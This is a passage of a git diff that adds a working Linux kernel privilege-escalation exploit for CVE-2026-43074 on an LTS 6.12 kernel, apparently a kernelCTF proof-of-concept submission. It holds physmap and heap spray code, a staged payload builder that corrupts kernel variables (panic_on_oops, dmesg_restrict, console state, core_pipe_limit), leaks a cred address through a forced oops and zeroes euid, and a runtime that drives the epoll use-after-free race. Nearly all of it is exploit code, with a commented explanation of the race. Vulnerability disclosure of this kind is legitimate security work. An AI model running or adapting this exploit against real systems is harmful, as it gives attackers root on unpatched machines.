if (madvise(map, w->size, MADV_DONTFORK) < 0) { + w->err = errno; + munmap(map, w->size); + return NULL; + } + + *w->map_slot = map; + return NULL; +} + +static void fast_test_mmap_parent_half(void** map_slot, size_t size, const char* what) { + *map_slot = + mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_POPULATE, -1, 0); + if (*map_slot == MAP_FAILED) { + *map_slot = NULL; + fatal(what); + } + + if (madvise(*map_slot, size, MADV_DONTFORK) < 0) { + fatal("madvise(test parent populate)"); + } +} + +static void fast_test_spray_parent_maps(nperm_normal_context_t* ctx, + const void* payload, + size_t payload_size) { + for (size_t i = 0; i < 2; i++) { + spray_payload_over_mapping(ctx->fast_parent_maps[i], ctx->fast_parent_map_sizes[i], payload, + payload_size); + } +} + +static void fast_test_holder_child_main(size_t holder_size, int ready_fd, int release_fd) { + char* map; + char release_byte = 0; + + set_oom_adj("1000"); + FAST_LOG("test holder mmap hugepage try size=%llu MiB", FAST_MB(holder_size)); + map = static_cast( + mmap(NULL, holder_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0)); + if (map == MAP_FAILED) { + FAST_LOG("test holder mmap failed size=%llu MiB errno=%d", FAST_MB(holder_size), errno); + _exit(1); + } + if (madvise(map, holder_size, MADV_HUGEPAGE) < 0) { + FAST_LOG("test holder MADV_HUGEPAGE failed size=%llu MiB errno=%d", FAST_MB(holder_size), + errno); + _exit(1); + } + + touch_every_page(map, holder_size); + FAST_LOG("test holder ready size=%llu MiB", FAST_MB(holder_size)); + write_all_or_exit(ready_fd, "R", 1); + while (read(release_fd, &release_byte, 1) < 0 && errno == EINTR) { + } + _exit(0); +} + +static void fast_test_ensure_holder(nperm_normal_context_t* ctx, size_t size) { + int ready_pipe[2]; + int release_pipe[2]; + char ready = 0; + pid_t pid; + + if (ctx->fast_holder.pid > 0) { + return; + } + + if (pipe(ready_pipe) < 0) { + fatal("pipe(test holder ready)"); + } + if (pipe(release_pipe) < 0) { + fatal("pipe(test holder release)"); + } + + pid = fork(); + if (pid < 0) { + fatal("fork(test holder)"); + } + if (pid == 0) { + close(ready_pipe[0]); + close(release_pipe[1]); + fast_test_holder_child_main(size, ready_pipe[1], release_pipe[0]); + } + + close(ready_pipe[1]); + close(release_pipe[0]); + if (read_all_update(ready_pipe[0], &ready, 1) <= 0 || ready != 'R') { + fatal("read(test holder ready)"); + } + close(ready_pipe[0]); + + ctx->fast_holder.pid = pid; + ctx->fast_holder.release_fd = release_pipe[1]; + ctx->fast_holder.size = size; + FAST_LOG("test holder ready pid=%d size=%llu MiB", pid, FAST_MB(size)); +} + +static void fast_test_ensure_parent_map(nperm_normal_context_t* ctx) { + if (ctx->fast_parent_maps[0] != NULL && ctx->fast_parent_maps[1] != NULL) { + return; + } + + FAST_LOG("test parent mmap populate try size=%llu MiB", FAST_MB(kFastTestParentSize)); + size_t first_size = align_down_4k(kFastTestParentSize / 2); + size_t second_size = kFastTestParentSize - first_size; + pthread_t thread; + fast_parent_mmap_worker_t worker = { + .map_slot = &ctx->fast_parent_maps[0], + .size = first_size, + .err = 0, + }; + + int ret = pthread_create(&thread, NULL, fast_test_parent_mmap_thread, &worker); + if (ret != 0) { + errno = ret; + fatal("pthread_create(test parent mmap)"); + } + + fast_test_mmap_parent_half(&ctx->fast_parent_maps[1], second_size, + "mmap(test parent populate)"); + + ret = pthread_join(thread, NULL); + if (ret != 0) { + errno = ret; + fatal("pthread_join(test parent mmap)"); + } + if (worker.err != 0 || ctx->fast_parent_maps[0] == NULL) { + errno = worker.err; + fatal("mmap(test parent populate thread)"); + } + + ctx->fast_parent_map_sizes[0] = first_size; + ctx->fast_parent_map_sizes[1] = second_size; + + ctx->fill_size = kFastTestParentSize; + FAST_LOG("test parent mmap ok size=%llu MiB", FAST_MB(ctx->fill_size)); +} + +static void fast_test_split_spray(nperm_normal_context_t* ctx, + size_t size, + const void* payload, + size_t payload_size) { + fast_test_ensure_holder(ctx, size); + set_oom_adj("-1000"); + + fast_test_ensure_parent_map(ctx); + + FAST_LOG("test parent spray start size=%llu MiB", FAST_MB(ctx->fill_size)); + fast_test_spray_parent_maps(ctx, payload, payload_size); + FAST_LOG("test parent spray done size=%llu MiB", FAST_MB(ctx->fill_size)); + ctx->fast_mapping_ready = true; +} + +void physmap_spray_fast(nperm_normal_context_t* ctx, + const void* payload, + size_t payload_size, + size_t spray_size, + size_t guard_size) { + (void)spray_size; + (void)guard_size; + + fast_test_split_spray(ctx, kFastTestChildSize - guard_size, payload, payload_size); + FAST_LOG("fast mapping ready fill=%llu MiB", FAST_MB(ctx->fill_size)); +} + +void nperm_normal_spray(const ProgramOptions& options, const void* payload, size_t payload_size) { + size_t spray_size = spray_size_bytes(options); + + if (!g_normal_ctx.fast_mapping_ready) { + physmap_spray_fast(&g_normal_ctx, payload, payload_size, spray_size, + options.runtime.use_unmovable_nperm ? 300ull * 1024ull * 1024ull : 0); + return; + } + + FAST_LOG("reuse fast mapping fill=%llu MiB", FAST_MB(g_normal_ctx.fill_size)); + nperm_normal_context_t* ctx = &g_normal_ctx; + fast_test_spray_parent_maps(ctx, payload, payload_size); + FAST_LOG("reuse fast mapping spray done fill=%llu MiB", FAST_MB(ctx->fill_size)); +} diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/nperm.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/nperm.cpp new file mode 100644 index 000000000..a95abea7f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/nperm.cpp @@ -0,0 +1,87 @@ +#include "nperm.h" + +#include "payload.h" +#include "shared_core.h" +#include "unmovable_nperm_api.h" + +#include +#include +#include +#include + +namespace { + +const char* stage_name(NpermPayloadKind kind) { + switch (kind) { + case NpermPayloadKind::setup_kernel_state: + return "setup_kernel_state"; + case NpermPayloadKind::leak_next_cred: + return "leak_next_cred"; + case NpermPayloadKind::overwrite_cred_euid: + return "overwrite_cred_euid"; + } + + return "nperm"; +} + +void nperm_unmovable_spray_payload(bool& started, + NpermPayloadKind kind, + const std::array& payload) { + std::array page{}; + + if (payload.size() > page.size()) { + die("nperm payload is too large for unmovable spray page"); + } + + memcpy(page.data(), payload.data(), payload.size()); + + const ssize_t sent = !started ? nperm_unmovable_spray_first(page.data()) + : nperm_unmovable_spray_second(page.data()); + if (sent < 0) { + fatal("nperm_unmovable_spray"); + } + + started = true; + fprintf(stderr, "[nperm] stage=%s using unmovable spray sent=%zd\n", stage_name(kind), sent); +} + +} // namespace + +void nperm_normal_spray(const ProgramOptions& options, const void* payload, size_t payload_size); + +class NpermStageRunner::Implementation { + public: + explicit Implementation(const ProgramOptions& options) : options_(options) {} + + void run_stage(uintptr_t leaked_rbx, size_t cpu1_gs_base) { + const NpermPayloadKind kind = select_nperm_payload_kind(leaked_rbx, cpu1_gs_base); + const std::array payload = build_nperm_payload( + leaked_rbx, options_.offsets.image_offset, cpu1_gs_base, options_.layout); + + if (options_.runtime.use_unmovable_nperm) { + // The first call leaves one unmovable round live. The second call + // intentionally releases that live round and replaces it with a fresh + // one, so the same payload is attempted across both held-sendmsg rounds + // before the normal spray path runs. + nperm_unmovable_spray_payload(unmovable_started_, kind, payload); + nperm_unmovable_spray_payload(unmovable_started_, kind, payload); + nperm_normal_spray(options_, payload.data(), payload.size()); + return; + } + + nperm_normal_spray(options_, payload.data(), payload.size()); + } + + private: + const ProgramOptions& options_; + bool unmovable_started_ = false; +}; + +NpermStageRunner::NpermStageRunner(const ProgramOptions& options) + : impl_(std::make_unique(options)) {} + +NpermStageRunner::~NpermStageRunner() = default; + +void NpermStageRunner::run_stage(uintptr_t leaked_rbx, size_t cpu1_gs_base) { + impl_->run_stage(leaked_rbx, cpu1_gs_base); +} diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/nperm.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/nperm.h new file mode 100644 index 000000000..199005c1c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/nperm.h @@ -0,0 +1,26 @@ +#ifndef EXPLOIT_NPERM_H +#define EXPLOIT_NPERM_H + +#include "module_context.h" + +#include + +class NpermStageRunner { + public: + explicit NpermStageRunner(const ProgramOptions& options); + ~NpermStageRunner(); + + NpermStageRunner(const NpermStageRunner&) = delete; + NpermStageRunner& operator=(const NpermStageRunner&) = delete; + NpermStageRunner(NpermStageRunner&&) = delete; + NpermStageRunner& operator=(NpermStageRunner&&) = delete; + + void run_stage(uintptr_t leaked_rbx, size_t cpu1_gs_base); + + private: + class Implementation; + + std::unique_ptr impl_; +}; + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/payload.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/payload.cpp new file mode 100644 index 000000000..00ae4fa4a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/payload.cpp @@ -0,0 +1,439 @@ +#include "payload.h" + +#include "shared_core.h" + +#include +#include +#include +#include + +namespace { + +constexpr size_t kPayloadFirstControlledWordOffset = 0x08; +constexpr size_t kPayloadNextControlledWordOffset = 0x10; +constexpr size_t kPageAlignmentMask = 0xfffull; +constexpr size_t kCredOffsEgid = 28; +constexpr size_t kCredOffsCapInheritable = 48; +constexpr uint64_t kConsoleOwnerNonZeroMarker = 0xdeadbeef; +constexpr uint64_t kCredLeakOopsMarker = 0x123abcdef123ull; +constexpr std::array kCredPageCandidateOffsets = { + 0x0ull, 0x240ull, 0x3c0ull, 0x600ull, 0x6c0ull, 0xc00ull, 0xcc0ull, 0xf00ull, +}; + +/* + +The payload logic below relies on how nested epoll traversal consumes the reverse +reference list: + +fs/eventpoll.c:2061 + +static int ep_get_upwards_depth_proc(struct eventpoll *ep, int depth) +{ + int result = 0; + struct epitem *epi; + + if (ep->gen == loop_check_gen) + return ep->loop_check_depth; + hlist_for_each_entry_rcu(epi, &ep->refs, fllink) + result = max(result, ep_get_upwards_depth_proc(epi->ep, depth + 1) + 1); + ep->gen = loop_check_gen; + ep->loop_check_depth = result; + return result; +} + +fs/eventpoll.c:1089 +void eventpoll_release_file(struct file *file) +{ +... + mutex_lock(&ep->mtx); + dispose = __ep_remove(ep, epi, true); + mutex_unlock(&ep->mtx); + + if (dispose && ep_refcount_dec_and_test(ep)) + ep_free(ep); + + +fs/eventpoll.c:810 +static bool __ep_remove(struct eventpoll *ep, struct epitem *epi, bool force) +{ +... + hlist_del_rcu(&epi->fllink); +... + +Every edge in the nested epoll graph is represented by a struct epitem. The list +head lives in eventpoll->refs and each epitem contributes a link through +epitem->fllink, so the kernel can walk "which parent epolls are watching this +epoll?" in reverse. + +The exploit builds a three-node graph: + + parent ep -> shared ep -> leaf ep + +The race proceeds as follows: + +1. Thread T1 adds `leaf_ep` into `shared_ep`. That path enters + `ep_get_upwards_depth_proc()` and begins reading `shared_ep->refs`. +2. A second thread closes `parent_ep`. `__ep_remove()` unlinks the parent edge + from the reverse-reference list and the last reference drop frees the parent + `struct eventpoll`. +3. The spray immediately reclaims that freed `parent_ep` and replaces it with a + fake epoll node layout whose most important controlled field is the fake + `epitem->ep` pointer. +4. T1 resumes and recursively calls `ep_get_upwards_depth_proc(epi->ep, depth + 1)` + on the forged node. +5A. If the forged `ep->refs` value is zero, the traversal stops. The kernel then + writes a one-byte zero into `eventpoll->loop_check_depth` and a small + `uint64_t` into `eventpoll->gen`, which is the basis of the byte-clearing + primitive. +5B. If the forged `ep->refs` value is non-zero and equal to `x`, the traversal + treats `x` as `&epitem->fllink`, converts it back to the containing epitem by + subtracting `0x50`, and then dereferences `epi->ep`. If that `epi->ep` value + is invalid, the kernel oopses and leaks registers. In that case `RBX` becomes + `x - 0x50`, because the list walker stores the recovered epitem base there. + +Variant 5B is what makes the cred leak possible. If we choose `x` to be the +address of the per-CPU `cred_jar` freelist, we can set the forged `ep` pointer to +`x - 0x50`. The list walk then treats `x` as `ep->refs`. If the data interpreted +as `((struct epitem *)x)->ep` is invalid, the kernel oopses and `RBX` exposes the +recovered epitem base. Adding the known `epitem->fllink` offset reconstructs the +freelist entry, which is the next `struct cred` allocation candidate. + +*/ + +class PayloadWriter { + public: + PayloadWriter(std::span payload, uintptr_t image_offset, const ExploitLayout& layout) + : payload_(payload), image_offset_(image_offset), layout_(layout) { + memset(payload_.data(), 0, payload_.size()); + } + + // target is interpreted as (struct eventpoll*)->refs (offset 0xa0) + // it's better to be zero, if so, write 1 byte zero at `target + 1` ((struct + // eventpoll*)->loop_check_depth, offset 0xa1) and write a small uint64_t number at target - 8 + // ((struct eventpoll*)->gen, offset 0x98) its higher 4 bytes is usually zero + void append_rebased_target(size_t target) { + // raw word is interpreted as (struct eventpoll*) + append_word(image_offset_ - layout_.eventpoll_refs_offset + target); + append_word(image_offset_ + layout_.nperm_addr + cursor_offset_ + + kPayloadNextControlledWordOffset); + } + + void append_absolute_target(size_t address) { + append_word(address - layout_.eventpoll_refs_offset); + append_word(image_offset_ + layout_.nperm_addr + cursor_offset_ + + kPayloadNextControlledWordOffset); + } + + void append_word(size_t value) { + if (cursor_offset_ + sizeof(value) > payload_.size()) { + die("nperm payload overflow"); + } + + memcpy(payload_.data() + cursor_offset_, &value, sizeof(value)); + cursor_offset_ += sizeof(value); + } + + void overwrite_last_word(size_t value) { + if (cursor_offset_ < sizeof(value)) { + die("nperm payload cursor underflow"); + } + + memcpy(payload_.data() + cursor_offset_ - sizeof(value), &value, sizeof(value)); + } + + private: + std::span payload_; + uintptr_t image_offset_; + const ExploitLayout& layout_; + size_t cursor_offset_ = kPayloadFirstControlledWordOffset; +}; + +void append_clear_cred_euid_targets(PayloadWriter& writer, size_t cred_base) { + /* + struct cred: +{ + usage = NN, + uid = NN, + gid = NN, + suid = NN, + sgid = NN, + euid = NN, <- to clear this + egid = NN, <- end = offset 28 + fsuid = NN, + fsgid = NN, + securebits = NN, + cap_inheritable = 0, <- start = offset 48 + cap_permitted = 0, + */ + for (size_t address = cred_base + kCredOffsCapInheritable; address >= cred_base + kCredOffsEgid; + address -= 4) { + writer.append_absolute_target(address); + } +} + +void append_stage_common_targets(PayloadWriter& writer, const ExploitLayout& layout) { + /* + 0xffffffff84487654 : 0x00000001 <- clear this + 0xffffffff84487658: 0x00000000 <- start = panic_on_oops + 8 + 0xffffffff8448765c: 0x00000000 + */ + writer.append_rebased_target(layout.panic_on_oops + 4); + + /* unlocking epnested_mutex allows us to race multiple times + + 0xffffffff8460d4c0 : 0xNNNNNNNN + 0xffffffff8460d4c4 : 0xNNNNNNNN <- end = epnested_mutex + 4 + 0xffffffff8460d4c8 : 0x00000000 <- start = epnested_mutex + 8 + 0xffffffff8460d4cc : 0x00000000 + 0xffffffff8460d4d0 : 0x8460d4d0 + 0xffffffff8460d4d4 : 0xffffffff + 0xffffffff8460d4d8 : 0x8460d4d0 + 0xffffffff8460d4dc : 0xffffffff + + struct mutex { + atomic_long_t owner; <- set when locked + raw_spinlock_t wait_lock; <- usually zero + ... + } + */ + writer.append_rebased_target(layout.epnested_mutex + 8); + writer.append_rebased_target(layout.epnested_mutex + 4); +} + +void clear_dmesg_restrict_and_disable_console_printk(PayloadWriter& writer, + const ExploitLayout& layout) { + /* + stage1: clear printk time + + 0xffffffff844a3618: 0x00000000 <- start = types__syslog - 8 + 0xffffffff844a361c: 0x00000000 + 0xffffffff844a3620 : 0x837a1813 + 0xffffffff844a3624 : 0xffffffff + 0xffffffff844a3628 : 0x837b9c5c + 0xffffffff844a362c : 0xffffffff + 0xffffffff844a3630 : 0x837a1813 <- end = types__syslog + 16 + 0xffffffff844a3634 : 0xffffffff + 0xffffffff844a3638 : 0x00000001 <- clear this + 0xffffffff844a363c : 0x00000001 + */ + const size_t syslog_start = layout.types_syslog - 8ull; + const size_t syslog_end = layout.types_syslog + 16ull; + + for (size_t address = syslog_start; address <= syslog_end; ++address) { + writer.append_rebased_target(address); + } + /* + stage2: clear dmesg_restrict + + 0xffffffff844a3618: 0xabababab + 0xffffffff844a361c: 0xabababab + 0xffffffff844a3620 : 0xabababab + 0xffffffff844a3624 : 0xabababab + 0xffffffff844a3628 : 0xabababab + 0xffffffff844a362c : 0xabababab + 0xffffffff844a3630 : 0x00000000 + 0xffffffff844a3634 : 0x00000000 <- types__syslog + 20 + 0xffffffff844a3638 : 0x00000000 + 0xffffffff844a363c : 0x00000001 <- clear this + */ + writer.append_rebased_target(layout.types_syslog + 20ull); + + /* + stage3: clear [types__syslog - 8, types__syslog) (useful if we accidently race again) + + 0xffffffff844a3618: 0xabababab + 0xffffffff844a361c: 0xabababab <- end = types__syslog - 4 + 0xffffffff844a3620 : 0xabababab + 0xffffffff844a3624 : 0xabababab + 0xffffffff844a3628 : 0xabababab + 0xffffffff844a362c : 0xabababab + 0xffffffff844a3630 : 0x00000000 <- start = types__syslog + 16 + 0xffffffff844a3634 : 0x00000000 + 0xffffffff844a3638 : 0x00000000 + 0xffffffff844a363c : 0x00000000 + */ + for (size_t address = layout.types_syslog + 16; address >= syslog_start + 4; address -= 4) { + writer.append_rebased_target(address); + } + + /* + stage 4: clear console_printk + + 0xffffffff84583900 : 0x00000000 <- start = console_mutex + 0xffffffff84583904 : 0x00000000 + 0xffffffff84583908 : 0x00000000 + 0xffffffff8458390c : 0x00000000 + 0xffffffff84583910 : 0x84583910 + 0xffffffff84583914 : 0xffffffff + 0xffffffff84583918 : 0x84583910 <- end = console_mutex + 24 + 0xffffffff8458391c : 0xffffffff + 0xffffffff84583920 : 0x00000007 <- clear this + */ + + for (size_t address = layout.console_mutex; address <= layout.console_mutex + 24; ++address) { + writer.append_rebased_target(address); + } + /* + stage 5: clear console_mutex + + 0xffffffff84583900 : 0xabababab + 0xffffffff84583904 : 0xabababab <- end = console_mutex + 4 + 0xffffffff84583908 : 0xabababab + 0xffffffff8458390c : 0xabababab + 0xffffffff84583910 : 0xabababab + 0xffffffff84583914 : 0x00000000 <- start = console_mutex + 20 + 0xffffffff84583918 : 0x00000000 + 0xffffffff8458391c : 0x00000000 + 0xffffffff84583920 : 0x00000000 + */ + for (size_t address = layout.console_mutex + 20; address >= layout.console_mutex + 4; + address -= 4) { + writer.append_rebased_target(address); + } + + /* + stage 6: set printk_console_no_auto_verbose to non zero + to prevent printk to messing up /dev/console + + 0xffffffff856745b0 : 0x00000000 + 0xffffffff856745b4 : 0x00000000 + 0xffffffff856745b8 : 0x00000000 <- set here to non zero + 0xffffffff856745bc: 0x00000000 + 0xffffffff856745c0 : 0x00000000 <- start = console_owner + 0xffffffff856745c4 : 0x00000000 + */ + + writer.append_rebased_target(layout.console_owner); + writer.append_word(kConsoleOwnerNonZeroMarker); +} + +// @step(2) +// Build the first nperm payload that makes repeated oopses survivable and leaks GS. +void append_stage1_kernel_setup_targets(PayloadWriter& writer, const ExploitLayout& layout) { + clear_dmesg_restrict_and_disable_console_printk(writer, layout); +} + +// @step(3) +// Build the follow-up payload that turns the GS leak into a leak of the next cred candidate. +void append_stage15_cred_leak_targets(PayloadWriter& writer, + size_t cpu1_gs_base, + const ExploitLayout& layout) { + /* set core_pipe_limit to non zero to allow our coredump handler to access fds + 0xffffffff856ccb08 : 0x00000000 <- set this to non zero + 0xffffffff856ccb0c : 0x00000000 + 0xffffffff856ccb10 : 0x00000000 <- start = core_pipe_limit + 8 + 0xffffffff856ccb14 : 0x00000000 + */ + writer.append_rebased_target(layout.core_pipe_limit + 8ull); + + // cred_jar->cpu_slab is treated as the next fake epitem->fllink location. + // The preceding qword becomes fake epitem->ep and is expected to fault, + // which is what turns the traversal into an RBX leak. + /* +1. rdi = ep = cred_jar->cpu_slab - eventpoll_refs_offset + +0xffffffff8155b8ae <+30>: mov rax,QWORD PTR [rdi+0xa0] +0xffffffff8155b8b5 <+37>: test rax,rax +0xffffffff8155b8b8 <+40>: je 0xffffffff8155b909 + +2. now rax = *cred_jar->cpu_slab = *(void**)freelist = next cred to be allocated + +0xffffffff8155b8ba <+42>: sub rax,0x50 +0xffffffff8155b8be <+46>: mov rbx,rax +0xffffffff8155b8c1 <+49>: je 0xffffffff8155b909 +0xffffffff8155b8c3 <+51>: xor r12d,r12d + +3. rbx = cred - 0x50, and if cred - 0x8 is not valid, then we will oops and leak rbx + +0xffffffff8155b8c6 <+54>: mov rdi,QWORD PTR [rbx+0x48] +0xffffffff8155b8ca <+58>: call 0xffffffff8155b890 + */ + writer.append_absolute_target(cpu1_gs_base + layout.pcpu_cred_jar_offset); + writer.append_word(kCredLeakOopsMarker); +} + +// @step(5) +// Build the final payload that clears euid across the leaked cred and nearby slab candidates. +void append_stage2_cred_overwrite_targets(PayloadWriter& writer, + uintptr_t leaked_rbx, + const ExploitLayout& layout) { + const size_t leaked_cred_address = leaked_rbx + layout.epitem_fllink_offset; + const size_t aligned_cred_address = leaked_cred_address & ~kPageAlignmentMask; + + append_clear_cred_euid_targets(writer, leaked_cred_address); + for (size_t page_offset : kCredPageCandidateOffsets) { + append_clear_cred_euid_targets(writer, aligned_cred_address + page_offset); + } + writer.overwrite_last_word(0); +} + +} // namespace + +NpermPayloadKind select_nperm_payload_kind(uintptr_t leaked_rbx, size_t cpu1_gs_base) { + if (cpu1_gs_base != 0) { + return NpermPayloadKind::leak_next_cred; + } + if (leaked_rbx != 0) { + return NpermPayloadKind::overwrite_cred_euid; + } + return NpermPayloadKind::setup_kernel_state; +} + +std::array build_nperm_payload(uintptr_t leaked_rbx, + uintptr_t image_offset, + size_t cpu1_gs_base, + const ExploitLayout& layout) { + std::array payload{}; + PayloadWriter writer(std::span(payload), image_offset, layout); + + append_stage_common_targets(writer, layout); + + // stage 1: to set some kernel variables, trigger oops to leak $gs_base + if (leaked_rbx == 0 && cpu1_gs_base == 0) { + append_stage1_kernel_setup_targets(writer, layout); + return payload; + } + + /* + ## Explanation + 1. after we leak $gs_base, we can calculate the address of cred_jar->cpu_slab: + + ```c + static struct kmem_cache *cred_jar; + + struct kmem_cache { + #ifndef CONFIG_SLUB_TINY + struct kmem_cache_cpu __percpu *cpu_slab; <- this is fixed address + #endif + ... + } + + struct kmem_cache_cpu { + union { + struct { + void **freelist; + unsigned long tid; + }; + freelist_aba_t freelist_tid; + }; + ... + } + ``` + + and if we do *(void**)cred_jar->cpu_slab, we can leak next struct cred to be allocated + */ + + // stage 2: to leak next struct cred + if (cpu1_gs_base != 0) { + append_stage15_cred_leak_targets(writer, cpu1_gs_base, layout); + return payload; + } + + // stage 3: to clear (struct cred*)->euid + if (leaked_rbx != 0) { + append_stage2_cred_overwrite_targets(writer, leaked_rbx, layout); + return payload; + } + + __builtin_unreachable(); +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/payload.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/payload.h new file mode 100644 index 000000000..4e708a3ae --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/payload.h @@ -0,0 +1,22 @@ +#ifndef EXPLOIT_PAYLOAD_H +#define EXPLOIT_PAYLOAD_H + +#include "module_context.h" + +#include +#include + +enum class NpermPayloadKind { + setup_kernel_state, + leak_next_cred, + overwrite_cred_euid, +}; + +NpermPayloadKind select_nperm_payload_kind(uintptr_t leaked_rbx, size_t cpu1_gs_base); + +std::array build_nperm_payload(uintptr_t leaked_rbx, + uintptr_t image_offset, + size_t cpu1_gs_base, + const ExploitLayout& layout); + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/ratc_runtime.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/ratc_runtime.cpp new file mode 100644 index 000000000..13fc03537 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/ratc_runtime.cpp @@ -0,0 +1,137 @@ +#include "ratc_runtime.h" + +#include "shared_core.h" + +namespace { + +constexpr uint64_t k_ratc_adaptive_scale_max_pct = 200u; + +void epoll_ctl_add_fd(int epfd, int fd, uint32_t events) { + struct epoll_event ev; + + memset(&ev, 0, sizeof(ev)); + ev.events = events; + ev.data.fd = fd; + FATAL_IF_NEG(epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev), "epoll_ctl_add(ratc)"); +} + +} // namespace + +RatcRuntime::~RatcRuntime() { + cleanup(); +} + +void RatcRuntime::setup() { + int cfd[2]; + char ready = 'R'; + + if (ready_) { + return; + } + + timefds_.fill(0); + epfds_.fill(0); + pids_.fill(0); + + timerfd_ = FATAL_IF_NEG(timerfd_create(CLOCK_MONOTONIC, 0), "timerfd_create"); + FATAL_IF_NEG(socketpair(AF_UNIX, SOCK_STREAM, 0, cfd), "socketpair"); + + for (int fork_index = 0; fork_index < fork_count_; ++fork_index) { + pid_t pid = FATAL_IF_NEG(fork(), "fork(ratc)"); + if (pid == 0) { + for (int index = 0; index < dup_count_; ++index) { + timefds_[index] = FATAL_IF_NEG(dup(timerfd_), "dup(timerfd)"); + } + for (int index = 0; index < epoll_count_; ++index) { + epfds_[index] = FATAL_IF_NEG(epoll_create(1), "epoll_create(ratc)"); + } + for (int ep_index = 0; ep_index < epoll_count_; ++ep_index) { + for (int dup_index = 0; dup_index < dup_count_; ++dup_index) { + epoll_ctl_add_fd(epfds_[ep_index], timefds_[dup_index], 0); + } + } + FATAL_IF_NE(write(cfd[1], &ready, 1), 1, "write(ratc ready)"); + raise(SIGSTOP); + _exit(0); + } + + pids_[fork_index] = pid; + FATAL_IF_NE(read(cfd[0], &ready, 1), 1, "read(ratc ready)"); + } + + close(cfd[0]); + close(cfd[1]); + ready_ = true; +} + +void RatcRuntime::cleanup() { + for (pid_t& pid : pids_) { + if (pid > 0) { + kill(pid, SIGKILL); + (void)waitpid(pid, nullptr, 0); + pid = 0; + } + } + + if (timerfd_ >= 0) { + close(timerfd_); + timerfd_ = -1; + } + + timefds_.fill(0); + epfds_.fill(0); + ready_ = false; +} + +void RatcRuntime::arm_timer(int64_t timeout_ns) const { + struct itimerspec its = {}; + + if (timeout_ns < 0) { + timeout_ns = 0; + } + its.it_value.tv_sec = timeout_ns / 1000000000LL; + its.it_value.tv_nsec = timeout_ns % 1000000000LL; + FATAL_IF_NEG(timerfd_settime(timerfd_, TFD_TIMER_CANCEL_ON_SET, &its, nullptr), + "timerfd_settime"); +} + +void RatcRuntime::set_scale(uint64_t scale_pct) { + uint64_t scaled_forks; + uint64_t scaled_dup = kDupCountBase; + uint64_t scaled_epoll = kEpollCountBase; + + if (scale_pct > k_ratc_adaptive_scale_max_pct) { + scale_pct = k_ratc_adaptive_scale_max_pct; + } + + scaled_forks = ((uint64_t)kForkCountBase * scale_pct + 99u) / 100u; + + if (scaled_forks == 0) { + scaled_forks = 1; + } + if (scaled_forks > kForkCountMax) { + scaled_forks = kForkCountMax; + } + if (scaled_epoll > kEpollCountMax) { + scaled_epoll = kEpollCountMax; + } + if (scaled_dup > kDupCountMax) { + scaled_dup = kDupCountMax; + } + + fork_count_ = (int)scaled_forks; + dup_count_ = (int)scaled_dup; + epoll_count_ = (int)scaled_epoll; +} + +int RatcRuntime::active_fork_count() const { + return fork_count_; +} + +int RatcRuntime::active_dup_count() const { + return dup_count_; +} + +int RatcRuntime::active_epoll_count() const { + return epoll_count_; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/ratc_runtime.h b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/ratc_runtime.h new file mode 100644 index 000000000..2af05145b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/ratc_runtime.h @@ -0,0 +1,46 @@ +#ifndef EXPLOIT_RATC_RUNTIME_H +#define EXPLOIT_RATC_RUNTIME_H + +#include "module_context.h" + +#include +#include + +class RatcRuntime { + public: + RatcRuntime() = default; + ~RatcRuntime(); + + RatcRuntime(const RatcRuntime&) = delete; + RatcRuntime& operator=(const RatcRuntime&) = delete; + RatcRuntime(RatcRuntime&&) = delete; + RatcRuntime& operator=(RatcRuntime&&) = delete; + + void setup(); + void cleanup(); + void arm_timer(int64_t timeout_ns) const; + void set_scale(uint64_t scale_pct); + + int active_fork_count() const; + int active_dup_count() const; + int active_epoll_count() const; + + private: + static constexpr int kForkCountBase = 2; + static constexpr int kForkCountMax = 4; + static constexpr int kDupCountBase = 16; + static constexpr int kEpollCountBase = 24; + static constexpr int kDupCountMax = 64; + static constexpr int kEpollCountMax = 96; + + int timerfd_ = -1; + std::array timefds_{}; + std::array epfds_{}; + std::array pids_{}; + int fork_count_ = kForkCountBase; + int dup_count_ = kDupCountBase; + int epoll_count_ = kEpollCountBase; + bool ready_ = false; +}; + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/shared_core.cpp b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/shared_core.cpp new file mode 100644 index 000000000..8d84cbfb0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43074_lts/exploit/lts-6.12.82/modules/shared_core.cpp @@ -0,0 +1,85 @@ +#include "shared_core.h" +#include "module_context.h" + +namespace { + +struct CpuRuntime { + CpuRuntime() { + count = (int)sysconf(_SC_NPROCESSORS_ONLN); + if (count < 2) { + die("this exploit requires at least 2 online CPUs"); + } + } 